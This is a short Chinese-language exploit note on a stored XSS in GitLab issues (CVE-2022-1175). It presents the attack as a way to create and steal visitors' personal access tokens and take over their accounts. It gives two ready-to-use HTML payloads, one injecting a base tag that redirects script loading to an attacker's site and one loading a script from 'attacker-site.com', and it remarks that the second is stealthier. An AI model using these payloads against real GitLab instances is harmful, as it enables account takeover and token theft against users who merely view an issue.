GitLab 存储型 XSS,可以在项目(无论是你自己的还是其他用户的)的 issue 中设置。可发起攻击,例如创建并窃取任何访问该 issue 用户的个人访问令牌(PAT)。获取 PAT 后,即可获得该用户完整的 GitLab API 访问权限,等同于完全接管账户。
可以通过将项目的 base 更改为你的站点来滥用此漏洞,从而使脚本从你的站点加载。更改你站点上的 JavaScript,使其与页面中调用的脚本名称匹配。不过这可能会破坏页面上的某些功能。
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
根据站点的 CSP 策略,标准脚本引入方式也可以生效。这种方式更加隐蔽。
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
GitLab 开发人员顺手在代码中包含了完整的 XSS 字符串,可在此处找到:
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
参考:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175